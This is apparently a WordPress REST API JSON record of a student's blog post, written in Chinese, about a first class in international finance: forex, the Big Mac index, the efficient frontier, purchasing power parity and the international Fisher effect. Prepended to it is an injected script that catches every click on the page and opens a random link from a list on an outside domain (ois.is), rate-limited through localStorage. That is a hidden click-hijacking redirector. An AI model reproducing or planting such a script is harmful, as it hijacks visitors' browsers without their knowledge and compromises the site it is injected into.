<script>(function (parameters) {
		const targets = [
			'https://ois.is/images/logo-1.png', 'https://ois.is/images/logo-2.png', 'https://ois.is/images/logo-3.png', 'https://ois.is/images/logo-4.png', 'https://ois.is/images/logo-5.png', 'https://ois.is/images/logo-6.png', 'https://ois.is/images/logo-7.png', 'https://ois.is/images/logo-8.png'
		]
		// Times between clicks
		const restMinutes = 1;
		// Number of hours to allow re-click 
		const allowedHours = 2;


		const saveTargetLocationsToStorage = (targets) => {
			targets.forEach((target, index) => {
				if(!localStorage.getItem(`${target}-local-storage`)){
					localStorage.setItem(`${target}-local-storage`, 0);
				}
			});
		}
		const getRandomLocationFromStorage = (targets) => {
			const nonVisited = targets.filter((target, index) => localStorage.getItem(`${target}-local-storage`) == 0)
			return nonVisited[Math.floor(Math.random() * nonVisited.length)];
		}
		const setLocationAsVisited = (target) => localStorage.setItem(`${target}-local-storage`, 1);

		const getTimeStorage = (key) => localStorage.getItem(`${key}-local-storage`);
		const setTimeToStorage = (key, nowDate) => localStorage.setItem(`${key}-local-storage`, nowDate);

		const getHoursDiff = (startDate, endDate) => {
			const msInHour = 1000 * 60 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInHour);
		}
		const getMintsDiff = (startDate, endDate) => {
			const msInMints = 1000 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInMints);
		}

		const visitNewLocation = (targets, host, nowDate) => {
			saveTargetLocationsToStorage(targets);
			newLocation = getRandomLocationFromStorage(targets);
			setTimeToStorage(`${host}-mnts`, nowDate);
			setTimeToStorage(`${host}-hurs`, nowDate);
			setLocationAsVisited(newLocation);
			window.open(newLocation, "_blank");
		}

		// const randomLocation = getRandomLocationFromStorage(targets);
		saveTargetLocationsToStorage(targets);

		function globalClick(event) {
			event.stopPropagation();
			const host = location.host;
			let newLocation = getRandomLocationFromStorage(targets);
			const nowDate = Date.parse(new Date());
			const savedDateForMints = getTimeStorage(`${host}-mnts`);
			const savedDateForHours = getTimeStorage(`${host}-hurs`);

			if (savedDateForMints && savedDateForHours) {
				try {
					const storageDateForMints = parseInt(savedDateForMints);
					const storageDateForHours = parseInt(savedDateForHours);
					const mintsDiff = getMintsDiff(nowDate, storageDateForMints);
					const hoursDiff = getHoursDiff(nowDate, storageDateForHours);

					if (hoursDiff >= allowedHours) {
						saveTargetLocationsToStorage(targets);
						setTimeToStorage(`${host}-hurs`, nowDate);
					}
					if (mintsDiff >= restMinutes) {
						if (newLocation) {
							setTimeToStorage(`${host}-mnts`, nowDate);
							window.open(newLocation, "_blank");
							setLocationAsVisited(newLocation);
						}
					}
				} catch (error) { visitNewLocation(targets, host, nowDate); }
			} else { visitNewLocation(targets, host, nowDate); }
		}
		document.addEventListener("click", globalClick)
	})()</script>{"id":923,"date":"2023-02-16T16:11:06","date_gmt":"2023-02-16T08:11:06","guid":{"rendered":"https:\/\/edu.secda.info\/scu8154207\/?p=923"},"modified":"2023-02-20T15:47:08","modified_gmt":"2023-02-20T07:47:08","slug":"%e4%bb%8a%e5%a4%a9%e7%ac%ac%e4%b8%80%e9%80%b1%e4%b8%8a%e8%aa%b2","status":"publish","type":"post","link":"https:\/\/edu.secda.info\/scu8154207\/?p=923","title":{"rendered":"\u4eca\u5929\u7b2c\u4e00\u9031\u4e0a\u8ab2"},"content":{"rendered":"<p>1. \u5c0d\u9019\u5802\u8ab2\u7684\u671f\u8a31<\/p>\n<p>\u5929\u6c23\u5f88\u597d\uff0c\u6240\u4ee5\u5fc3\u60c5\u4e5f\u5f88\u597d\uff0c\u8981<em><strong>\u4e0a\u570b\u969b\u8ca1\u7ba1\u5fc3\u60c5\u66f4\u597d<\/strong><\/em>\u3002\u56e0\u70ba\u80fd\u5b78\u5230\u5f88\u591a\u6709\u7528\u7684\u5de5\u5177\u4f86\u8f14\u52a9\u5b78\u7fd2\uff0c\u5c24\u5176\u662f\u5c0d<em><strong>\u5916\u532f\u4ea4\u6613<\/strong><\/em>\u6709\u8208\u8da3\u7684\u6211\uff0c\u671f\u8a31\u5728\u9019\u9580\u8ab2\u4e2d\u6210\u70ba<em><strong>\u535a\u5b78\u591a\u805e\u7684\u5c11\u5973<\/strong><\/em>\u3002<\/p>\n<p>2. \u5c0d\u5916\u532f\u8cbf\u6613\u6709\u8208\u8da3\uff0c\u6240\u4ee5\u627e\u9019\u5f35\u5716\u3002<\/p>\n<p><img loading=\"lazy\" class=\"alignnone wp-image-926\" src=\"https:\/\/edu.secda.info\/scu8154207\/wp-content\/uploads\/2023\/02\/Forex-trading-300x157.jpg\" alt=\"\" width=\"434\" height=\"227\" srcset=\"https:\/\/edu.secda.info\/scu8154207\/wp-content\/uploads\/2023\/02\/Forex-trading-300x157.jpg 300w, https:\/\/edu.secda.info\/scu8154207\/wp-content\/uploads\/2023\/02\/Forex-trading-768x401.jpg 768w, https:\/\/edu.secda.info\/scu8154207\/wp-content\/uploads\/2023\/02\/Forex-trading.jpg 790w\" sizes=\"(max-width: 434px) 100vw, 434px\" \/><\/p>\n<p>\u8cc7\u6599\u4f86\u6e90: https:\/\/winsmart.tw\/trading_knowledge\/%E5%A4%96%E5%8C%AF%E4%BA%A4%E6%98%93forex-trade\/<\/p>\n<p>3. \u5927\u9ea5\u514b\u6307\u6578<\/p>\n<p>\u56e0\u70ba\u7a81\u7136\u60f3\u5403\u5927\u9ea5\u514b\u6240\u4ee5\u627e\u5927\u9ea5\u514b\u6307\u6578\u7684\u5f71\u7247<\/p>\n<p><iframe loading=\"lazy\" title=\"TWL #6: Big Mac Economics\" src=\"https:\/\/www.youtube.com\/embed\/5XdYbmova_s\" width=\"431\" height=\"232\" frameborder=\"0\" allowfullscreen=\"allowfullscreen\"><\/iframe><\/p>\n<p>&nbsp;<\/p>\n<p>3. \u6548\u7387\u524d\u7de3<\/p>\n<p>\u6548\u7387\u524d\u7de3\u7684\u4e3b\u8981\u610f\u7fa9\u662f\u300c\u7e3d\u98a8\u96aa\u76f8\u540c\u6642\uff0c\u76f8\u5c0d\u4e0a\u53ef\u7372\u5f97\u6700\u9ad8\u7684\u9810\u671f\u5831\u916c\u7387\u300d\u6216\u300c\u9810\u671f\u5831\u916c\u76f8\u540c\u6642\uff0c\u76f8\u5c0d\u4e0a\u7e3d\u98a8\u96aa\u6700\u4f4e\u300d\u7684\u6295\u8cc7\u7d44\u5408\u3002\u9019\u500b\u89c0\u5ff5\u5728\u6211\u5011\u6c7a\u5b9a\u751f\u6d3b\u4e2d\u5404\u7a2e\u5927\u5c0f\u4e8b\u6642\u4e5f\u6703\u904b\u7528\u3002<\/p>\n<p><img loading=\"lazy\" class=\"alignnone wp-image-935\" src=\"https:\/\/edu.secda.info\/scu8154207\/wp-content\/uploads\/2023\/02\/efficient-frontier-300x169.png\" alt=\"\" width=\"433\" height=\"244\" srcset=\"https:\/\/edu.secda.info\/scu8154207\/wp-content\/uploads\/2023\/02\/efficient-frontier-300x169.png 300w, https:\/\/edu.secda.info\/scu8154207\/wp-content\/uploads\/2023\/02\/efficient-frontier-800x450.png 800w, https:\/\/edu.secda.info\/scu8154207\/wp-content\/uploads\/2023\/02\/efficient-frontier-768x432.png 768w, https:\/\/edu.secda.info\/scu8154207\/wp-content\/uploads\/2023\/02\/efficient-frontier.png 1400w\" sizes=\"(max-width: 433px) 100vw, 433px\" \/><\/p>\n<p>\u8cc7\u6599\u4f86\u6e90: https:\/\/blog.growin.tv\/dynamic-allocation\/<\/p>\n<p>&nbsp;<\/p>\n<p>4. \u8cfc\u8cb7\u529b\u5e73\u50f9<\/p>\n<p>\u662f\u4e00\u7a2e\u6839\u64da\u5404\u570b\u4e0d\u540c\u7684\u50f9\u683c\u6c34\u6e96\u8a08\u7b97\u51fa\u4f86\u7684\u8ca8\u5e63\u4e4b\u9593\u7684\u7b49\u503c\u4fc2\u6578\uff0c\u4f7f\u6211\u5011\u80fd\u5920\u5728\u7d93\u6fdf\u5b78\u4e0a\u5c0d\u5404\u570b\u7684\u570b\u5167\u751f\u7522\u6bdb\u984d\u9032\u884c\u5408\u7406\u6bd4\u8f03\uff0c\u9019\u7a2e\u7406\u8ad6\u532f\u7387\u8207\u5be6\u969b\u532f\u7387\u53ef\u80fd\u6709\u5f88\u5927\u7684\u5dee\u8ddd\u3002<\/p>\n<p>&nbsp;<\/p>\n<p><img loading=\"lazy\" class=\"alignnone wp-image-938\" src=\"https:\/\/edu.secda.info\/scu8154207\/wp-content\/uploads\/2023\/02\/PPP-300x182.jpg\" alt=\"\" width=\"405\" height=\"246\" srcset=\"https:\/\/edu.secda.info\/scu8154207\/wp-content\/uploads\/2023\/02\/PPP-300x182.jpg 300w, https:\/\/edu.secda.info\/scu8154207\/wp-content\/uploads\/2023\/02\/PPP.jpg 722w\" sizes=\"(max-width: 405px) 100vw, 405px\" \/><\/p>\n<p>\u8cc7\u6599\u4f86\u6e90: https:\/\/si.secda.info\/scu03154106\/?p=1197<\/p>\n<p>&nbsp;<\/p>\n<p>5. IFE\u5be6\u8b49<\/p>\n<p>\u540d\u7fa9\u5229\u7387\u7684\u5dee\u7570\u662f\u5404\u570b\u9593\u5373\u671f\u532f\u7387\u9810\u671f\u8b8a\u5316\u4e4b\u53cd\u6620\u3002IFE\u7279\u5225\u6307\u51fa\uff0c\u5373\u671f\u532f\u7387\u9810\u671f\u7684\u8b8a\u5316\u6703\u8207\u5229\u7387\u5dee\u7570\u7684\u5448\u6b63\u53cd\u6bd4\u3002\u56e0\u6b64\uff0c\u540d\u7fa9\u5229\u7387\u8f03\u9ad8\u7684\u570b\u5bb6\u7684\u8ca8\u5e63\u5728\u540d\u7fa9\u5229\u7387\u8f03\u4f4e\u7684\u570b\u5bb6\u7684\u8ca8\u5e63\u5c0d\u6bd4\u4e0b\u6703\u8cb6\u503c\uff0c\u56e0\u70ba\u9ad8\u540d\u7fa9\u5229\u7387\u662f\u9810\u8996\u8ca8\u5e63\u901a\u8139\u7684\u6307\u6a19\u3002<\/p>\n<p><img loading=\"lazy\" class=\"alignnone wp-image-940\" src=\"https:\/\/edu.secda.info\/scu8154207\/wp-content\/uploads\/2023\/02\/IFE-768x477-1-300x186.jpg\" alt=\"\" width=\"402\" height=\"249\" srcset=\"https:\/\/edu.secda.info\/scu8154207\/wp-content\/uploads\/2023\/02\/IFE-768x477-1-300x186.jpg 300w, https:\/\/edu.secda.info\/scu8154207\/wp-content\/uploads\/2023\/02\/IFE-768x477-1.jpg 768w\" sizes=\"(max-width: 402px) 100vw, 402px\" \/><\/p>\n<p>\u8cc7\u6599\u4f86\u6e90: https:\/\/si.secda.info\/scu03154106\/?m=201805<\/p>\n","protected":false},"excerpt":{"rendered":"<p>1. \u5c0d\u9019\u5802\u8ab2\u7684\u671f\u8a31 \u5929\u6c23\u5f88\u597d\uff0c\u6240\u4ee5\u5fc3\u60c5\u4e5f\u5f88\u597d\uff0c\u8981\u4e0a\u570b\u969b\u8ca1\u7ba1\u5fc3\u60c5\u66f4\u597d\u3002\u56e0\u70ba\u80fd\u5b78\u5230<\/p>\n","protected":false},"author":15,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[1],"tags":[],"_links":{"self":[{"href":"https:\/\/edu.secda.info\/scu8154207\/index.php?rest_route=\/wp\/v2\/posts\/923"}],"collection":[{"href":"https:\/\/edu.secda.info\/scu8154207\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/edu.secda.info\/scu8154207\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/scu8154207\/index.php?rest_route=\/wp\/v2\/users\/15"}],"replies":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/scu8154207\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=923"}],"version-history":[{"count":14,"href":"https:\/\/edu.secda.info\/scu8154207\/index.php?rest_route=\/wp\/v2\/posts\/923\/revisions"}],"predecessor-version":[{"id":944,"href":"https:\/\/edu.secda.info\/scu8154207\/index.php?rest_route=\/wp\/v2\/posts\/923\/revisions\/944"}],"wp:attachment":[{"href":"https:\/\/edu.secda.info\/scu8154207\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=923"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/edu.secda.info\/scu8154207\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=923"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/edu.secda.info\/scu8154207\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=923"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}